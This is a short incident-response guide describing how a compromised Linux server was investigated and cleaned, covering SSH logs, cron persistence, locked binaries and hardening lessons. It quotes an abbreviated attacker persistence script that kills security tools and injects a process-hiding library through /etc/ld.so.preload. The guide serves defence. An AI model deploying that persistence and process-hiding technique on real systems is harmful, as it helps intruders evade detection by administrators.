How to Detect and Recover from a Linux Server Intrusion: Step‑by‑Step Guide

1. Server Intrusion Symptoms

A friend’s website server showed sustained 100% CPU usage, high load, and service outages. The ps and top commands were replaced, indicating possible compromise.

2. Investigation and Remediation

2.1 Possible Causes

Weak SSH password.

Overly permissive cloud security group.

Simple password on the Baota control panel.

2.2 Investigation Steps

Identify the process consuming most resources: ps -ef / top Check login records for foreign IPs: last or

grep 'Accepted' /var/log/secure

[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
... (additional log lines) ...

Lock the offending SSH IPs in the cloud security group.

Reset the root SSH password.

Backup and clear /root/.ssh/authorized_keys.

[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

Lock newly created users, e.g., usermod -L sys1.

Inspect cron jobs; many were hidden or obfuscated. The attacker used crontab -e and files under /etc/cron.d/ to schedule malicious scripts.

Identify and remove malicious scripts such as the persistent /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 which repeatedly kills security tools and modifies /etc/ld.so.preload.

#!/bin/sh
while test 1 = 1; do
  sleep 30
  pkill -f main
  ... (many kill commands) ...
  echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
  lockr +ai /etc/ld.so.preload >/dev/null 2>&1
  ...
  done

Clear /etc/ld.so.preload and delete the malicious shared library /usr/local/lib/libprocesshider.so.

Restore locked system utilities ( ps, top, chattr, lsattr) by copying them from an identical clean machine and unlocking with chattr -ia <file>.

Key Commands Used

ps -ef

/

top

last

/

grep 'Accepted' /var/log/secure

crontab -l

cat /etc/rc.local

chattr -ai /usr/bin/chattr

3. Lessons Learned

Restrict cloud security groups to the minimum necessary ports and IPs.

Use strong, complex passwords for SSH and any management panels.

Monitor critical files (e.g., /etc/passwd, /etc/shadow, /etc/ld.so.preload) for unexpected changes, preferably with hash‑based alerts.

Regularly audit cron jobs, startup scripts, and loaded shared libraries.

If system binaries are locked, copy clean versions from a trusted host and unlock them with chattr -ia.

Following these steps helped recover the compromised server and provided a checklist for future incident response.